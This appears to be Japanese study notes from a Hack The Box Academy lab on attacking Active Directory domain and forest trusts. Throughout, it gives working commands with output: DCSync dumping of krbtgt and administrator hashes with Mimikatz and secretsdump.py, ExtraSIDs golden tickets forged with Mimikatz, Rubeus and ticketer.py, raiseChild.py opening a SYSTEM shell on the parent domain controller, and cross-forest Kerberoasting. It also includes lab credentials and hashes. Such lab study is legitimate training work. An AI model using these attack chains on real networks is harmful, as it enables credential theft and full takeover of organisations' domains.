ドメイン間のトラストをマップ(視覚的に構造化)して確認可能
- トラストの種類(親子、外部、フォレスト)や、一方向か双方向かも表示される

PS C:\htb> Get-DomainTrustMapping

子ドメインのユーザーを確認する

PS C:\htb> Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountName

netdom

netdom を使ったドメイントラストの確認

C:\htb> netdom query /domain:inlanefreight.local trust

netdom を使ったワークステーションとサーバーの確認

C:\htb> netdom query /domain:inlanefreight.local dc

BloodHound

子ドメインから親ドメインへの攻撃

Windows

SID History と ExtraSIDs 攻撃

SID History とは?

SID History を悪用する攻撃

ExtraSIDs 攻撃とは?

攻撃に必要な情報

攻撃の流れ(ざっくり)

対策のヒント

PowerView・Mimikatz

Mimikatz を用いた KRBTGT ハッシュの取得

PS C:\htb>  mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt

子ドメインの SID を取得(PowerView 使用)

PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Get-DomainSID

親ドメインの Enterprise Admins グループの SID を取得

PS C:\htb> Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid

distinguishedname                                       objectsid                                    
-----------------                                       ---------                                    
CN=Enterprise Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL S-1-5-21-3842939050-3880317879-2865463114-519

親ドメインの DC に対してアクセスできないことを事前に確認

PS C:\htb> ls \\academy-ea-dc01.inlanefreight.local\c$

ls : Access is denied
At line:1 char:1
+ ls \\academy-ea-dc01.inlanefreight.local\c$
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (\\academy-ea-dc01.inlanefreight.local\c$:String) [Get-ChildItem], UnauthorizedAccessException
    + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

Mimikatz を使って Golden Ticket を生成・使用する

PS C:\htb> mimikatz.exe
mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt

klist を使って Kerberos チケットのメモリ確認

PS C:\htb> klist

Current LogonId is 0:0xf6462

Cached Tickets: (1)

#0>     Client: hacker @ LOGISTICS.INLANEFREIGHT.LOCAL
        Server: krbtgt/LOGISTICS.INLANEFREIGHT.LOCAL @ LOGISTICS.INLANEFREIGHT.LOCAL
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
        Start Time: 3/28/2022 19:59:50 (local)
        End Time:   3/25/2032 19:59:50 (local)
        Renew Time: 3/25/2032 19:59:50 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:

出力で注目するところ

親ドメインのDCのCドライブを一覧表示する

PS C:\htb> ls \\academy-ea-dc01.inlanefreight.local\c$
 Volume in drive \\academy-ea-dc01.inlanefreight.local\c$ has no label.
 Volume Serial Number is B8B3-0D72

 Directory of \\academy-ea-dc01.inlanefreight.local\c$

09/15/2018  12:19 AM    <DIR>          PerfLogs
10/06/2021  01:50 PM    <DIR>          Program Files
09/15/2018  02:06 AM    <DIR>          Program Files (x86)
11/19/2021  12:17 PM    <DIR>          Shares
10/06/2021  10:31 AM    <DIR>          Users
03/21/2022  12:18 PM    <DIR>          Windows
               0 File(s)              0 bytes
               6 Dir(s)  18,080,178,176 bytes free

注目ポイント

Rubeus

実行前にアクセスできないことを再確認

PS C:\htb> ls \\academy-ea-dc01.inlanefreight.local\c$

ls : Access is denied
At line:1 char:1
+ ls \\academy-ea-dc01.inlanefreight.local\c$
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (\\academy-ea-dc01.inlanefreight.local\c$:String) [Get-ChildItem], UnauthorizedAcces 
   sException
    + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
	
<SNIP> 

Rubeus で Golden Ticket を作成する

PS C:\htb>  .\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689  /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt

klist を使ったチケット確認

PS C:\htb> klist

Current LogonId is 0:0xf6495

Cached Tickets: (1)

#0>	Client: hacker @ LOGISTICS.INLANEFREIGHT.LOCAL
	Server: krbtgt/LOGISTICS.INLANEFREIGHT.LOCAL @ LOGISTICS.INLANEFREIGHT.LOCAL
	KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
	Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent 
	Start Time: 3/29/2022 10:06:41 (local)
	End Time:   3/29/2022 20:06:41 (local)
	Renew Time: 4/5/2022 10:06:41 (local)
	Session Key Type: RSADSI RC4-HMAC(NT)
	Cache Flags: 0x1 -> PRIMARY 
	Kdc Called: 

lab_adm ユーザーに対して DCSync 攻撃を実施

PS C:\Tools\mimikatz\x64> .\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\lab_adm' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : lab_adm

** SAM ACCOUNT **

SAM Username         : lab_adm
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 2/27/2022 10:53:21 PM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-1001
Object Relative ID   : 1001

Credentials:
  Hash NTLM: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 0: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 1: 663715a1a8b957e8e9943cc98ea451b6
    lm  - 0: 6053227db44e996fe16b107d9d1e95a0

別ドメインを対象にした DCSync 攻撃を行う際の注意点

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL

注目ポイント

Linux

Windowsで行った攻撃をLinuxからも行ってみる
攻撃に必要な情報は、変わらない

secretsdump.pyを使ったDCSyncの実行

snowyowl644@htb[/htb]$ secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt

Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d5f:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:d9a2d6659c2a182bc93913bbfa90ecbead94d49dad64d23996724390cb833fb8
krbtgt:aes128-cts-hmac-sha1-96:ca289e175c372cebd18083983f88c03e
krbtgt:des-cbc-md5:fee04c3d026d7538
[*] Cleaning up...

出力で見るべきポイント

SIDブルートフォース

snowyowl644@htb[/htb]$ lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240  | grep "Domain SID"

出力で見るポイント

親ドメインのSIDとEnterprise AdminsのRIDを特定する

snowyowl644@htb[/htb]$ lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"

Password:
[*] Domain SID is: S-1-5-21-3842939050-3880317879-2865463114
498: INLANEFREIGHT\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: INLANEFREIGHT\administrator (SidTypeUser)
501: INLANEFREIGHT\guest (SidTypeUser)
502: INLANEFREIGHT\krbtgt (SidTypeUser)
512: INLANEFREIGHT\Domain Admins (SidTypeGroup)
513: INLANEFREIGHT\Domain Users (SidTypeGroup)
514: INLANEFREIGHT\Domain Guests (SidTypeGroup)
515: INLANEFREIGHT\Domain Computers (SidTypeGroup)
516: INLANEFREIGHT\Domain Controllers (SidTypeGroup)
517: INLANEFREIGHT\Cert Publishers (SidTypeAlias)
518: INLANEFREIGHT\Schema Admins (SidTypeGroup)
519: INLANEFREIGHT\Enterprise Admins (SidTypeGroup)

注目すべきポイント

ticketer.pyを使ってゴールデンチケットを生成

snowyowl644@htb[/htb]$ ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker

環境変数でKerberosにこのチケットを使わせる

snowyowl644@htb[/htb]$ export KRB5CCNAME=hacker.ccache 

親ドメインへの認証確認:Impacket版 PsExec を使ったSYSTEMシェルの取得

snowyowl644@htb[/htb]$ psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5

ワークフロー概要

  1. 子ドメインの管理者資格情報を入力(例:domain/username[:password])
  2. (任意)生成されたチケットの保存パスを指定
  3. (任意)ターゲットユーザーのRIDを指定(デフォルトはAdministrator)
  4. (任意)PsExecを使う対象ホストを指定(デフォルトはEnterprise Admin権限)

処理の流れ

  1. 子ドメインのDCを特定
  2. フォレストのFQDNを取得
  3. Enterprise AdminsグループのSIDを取得
  4. 子ドメインのkrbtgt資格情報を取得
  5. ExtraSIDsにEnterprise Admin SIDを含めたゴールデンチケットを作成(有効期限10年)
  6. そのチケットで親ドメインにログインしてAdministrator情報を取得
  7. 指定があればチケットをccache形式で保存
  8. 指定があればPsExecで親ドメインのDCにログイン
snowyowl644@htb[/htb]$ raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm

Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation

Password:
[*] Raising child domain LOGISTICS.INLANEFREIGHT.LOCAL
[*] Forest FQDN is: INLANEFREIGHT.LOCAL
[*] Raising LOGISTICS.INLANEFREIGHT.LOCAL to INLANEFREIGHT.LOCAL
[*] INLANEFREIGHT.LOCAL Enterprise Admin SID is: S-1-5-21-3842939050-3880317879-2865463114-519
[*] Getting credentials for LOGISTICS.INLANEFREIGHT.LOCAL
LOGISTICS.INLANEFREIGHT.LOCAL/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d5f:::
LOGISTICS.INLANEFREIGHT.LOCAL/krbtgt:aes256-cts-hmac-sha1-96s:d9a2d6659c2a182bc93913bbfa90ecbead94d49dad64d23996724390cb833fb8
[*] Getting credentials for INLANEFREIGHT.LOCAL
INLANEFREIGHT.LOCAL/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:16e26ba33e455a8c338142af8d89ffbc:::
INLANEFREIGHT.LOCAL/krbtgt:aes256-cts-hmac-sha1-96s:69e57bd7e7421c3cfdab757af255d6af07d41b80913281e0c528d31e58e31e6d
[*] Target User account name is administrator
INLANEFREIGHT.LOCAL/administrator:500:aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf:::
INLANEFREIGHT.LOCAL/administrator:aes256-cts-hmac-sha1-96s:de0aa78a8b9d622d3495315709ac3cb826d97a318ff4fe597da72905015e27b6
[*] Opening PSEXEC shell at ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
[*] Requesting shares on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Found writable share ADMIN$
[*] Uploading file BnEGssCE.exe
[*] Opening SVCManager on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Creating service UVNb on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Starting service UVNb.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

クロスフォレストKerberoasting

Windows

SPN付きアカウントの列挙(Get-DomainUser使用)

PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName

samaccountname
--------------
krbtgt
mssqlsvc

mssqlsvcアカウントの詳細確認

PS C:\htb> Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc |select samaccountname,memberof

samaccountname memberof
-------------- --------
mssqlsvc       CN=Domain Admins,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCAL

Rubeusを使ったKerberoasting攻撃の実行(/domainフラグ使用)

PS C:\htb> .\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2

[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target User            : mssqlsvc
[*] Target Domain          : FREIGHTLOGISTICS.LOCAL
[*] Searching path 'LDAP://ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL/DC=FREIGHTLOGISTICS,DC=LOCAL' for '(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName=mssqlsvc)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 1

[*] SamAccountName         : mssqlsvc
[*] DistinguishedName      : CN=mssqlsvc,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCAL
[*] ServicePrincipalName   : MSSQLsvc/sql01.freightlogstics:1433
[*] PwdLastSet             : 3/24/2022 12:47:52 PM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*mssqlsvc$FREIGHTLOGISTICS.LOCAL$MSSQLsvc/sql01.freightlogstics:1433@FREIGHTLOGISTICS.LOCAL*$<SNIP>

Linux

GetUserSPNs.py の使用

snowyowl644@htb[/htb]$ GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley

Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation

Password:
ServicePrincipalName                 Name      MemberOf                                                PasswordLastSet             LastLogon  Delegation 
-----------------------------------  --------  ------------------------------------------------------  --------------------------  ---------  ----------
MSSQLsvc/sql01.freightlogstics:1433  mssqlsvc  CN=Domain Admins,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCAL  2022-03-24 15:47:52.488917  <never> 

-request フラグを使って TGS チケットを取得

snowyowl644@htb[/htb]$ GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley  

Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation

Password:
ServicePrincipalName                 Name      MemberOf                                                PasswordLastSet             LastLogon  Delegation 
-----------------------------------  --------  ------------------------------------------------------  --------------------------  ---------  ----------
MSSQLsvc/sql01.freightlogstics:1433  mssqlsvc  CN=Domain Admins,CN=Users,DC=FREIGHTLOGISTICS,DC=LOCAL  2022-03-24 15:47:52.488917  <never>               


$krb5tgs$23$*mssqlsvc$FREIGHTLOGISTICS.LOCAL$FREIGHTLOGISTICS.LOCAL/mssqlsvc*$10<SNIP>

管理者パスワードの使い回し

管理者アカウントのパスワード再利用

実際にログオンして確認

攻撃者としてのチェックポイント

PowerViewを使って異なるドメインのメンバーを調査

PS C:\htb> Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL

GroupDomain             : FREIGHTLOGISTICS.LOCAL
GroupName               : Administrators
GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=FREIGHTLOGISTICS,DC=LOCAL
MemberDomain            : FREIGHTLOGISTICS.LOCAL
MemberName              : S-1-5-21-3842939050-3880317879-2865463114-500
MemberDistinguishedName : CN=S-1-5-21-3842939050-3880317879-2865463114-500,CN=ForeignSecurityPrincipals,DC=FREIGHTLOGIS
                          TICS,DC=LOCAL

SIDを名前に変換

PS C:\htb> Convert-SidToName S-1-5-21-3842939050-3880317879-2865463114-500

INLANEFREIGHT\administrator

実際に接続して権限を確認

PS C:\htb> Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator

[ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL]: PS C:\Users\administrator.INLANEFREIGHT\Documents> whoami
inlanefreight\administrator

[ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL]: PS C:\Users\administrator.INLANEFREIGHT\Documents> ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : ACADEMY-EA-DC03
   Primary Dns Suffix  . . . . . . . : FREIGHTLOGISTICS.LOCAL
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : FREIGHTLOGISTICS.LOCAL

別ドメイン(INLANEFREIGHT.LOCAL)の管理者アカウントで、FREIGHTLOGISTICS.LOCALのドメインコントローラに認証成功している

グループメンバーシップの悪用

SID履歴の悪用(Cross Forest編)

図の説明(jjonesのSID履歴悪用シナリオ)

BloodHound-python で他ドメインのグループメンバーを調査する

/etc/resolv.conf に DNS 情報を追加

snowyowl644@htb[/htb]$ cat /etc/resolv.conf 

# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
# 127.0.0.53 is the systemd-resolved stub resolver.
# run "resolvectl status" to see details about the actual nameservers.

#nameserver 1.1.1.1
#nameserver 8.8.8.8
domain INLANEFREIGHT.LOCAL
nameserver 172.16.5.5

BloodHound-python を INLANEFREIGHT.LOCAL に対して実行

snowyowl644@htb[/htb]$ bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2

INFO: Found AD domain: inlanefreight.local
INFO: Connecting to LDAP server: ACADEMY-EA-DC01
INFO: Found 1 domains
INFO: Found 2 domains in the forest
INFO: Found 559 computers
INFO: Connecting to LDAP server: ACADEMY-EA-DC01
INFO: Found 2950 users
INFO: Connecting to GC LDAP server: ACADEMY-EA-DC02.LOGISTICS.INLANEFREIGHT.LOCAL
INFO: Found 183 groups
INFO: Found 2 trusts

JSONファイルが大量に出るので、以下のように ZIP 圧縮して BloodHound GUI にアップロードできる

snowyowl644@htb[/htb]$ zip -r ilfreight_bh.zip *.json

/etc/resolv.conf に FREIGHTLOGISTICS.LOCAL の情報も追加

snowyowl644@htb[/htb]$ cat /etc/resolv.conf 

# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
# 127.0.0.53 is the systemd-resolved stub resolver.
# run "resolvectl status" to see details about the actual nameservers.

#nameserver 1.1.1.1
#nameserver 8.8.8.8
domain FREIGHTLOGISTICS.LOCAL
nameserver 172.16.5.238

BloodHound-python を FREIGHTLOGISTICS.LOCAL に対して実行

snowyowl644@htb[/htb]$ bloodhound-python -d FREIGHTLOGISTICS.LOCAL -dc ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -c All -u forend@inlanefreight.local -p Klmcargo2

信頼関係を悪用する上でのまとめ
このように、ドメイン信頼を利用したアクセス権の横展開や、別経路からの権限昇格は多くのシナリオで発生し得る。